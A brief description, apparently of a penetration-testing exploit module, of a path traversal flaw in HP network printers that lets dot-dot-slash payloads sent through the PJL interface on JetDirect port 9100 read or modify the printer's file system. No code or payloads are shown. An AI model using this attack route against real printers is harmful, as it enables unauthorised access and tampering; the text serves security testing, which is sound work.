This module exploits path traveresal issue in possibly all HP network-enabled printer series, especially those which enable Printer Job Language (aka PJL) command interface through the default JetDirect port 9100.
With the decade-old dot-dot-slash payloads, the entire printer file system can be accessed or modified.
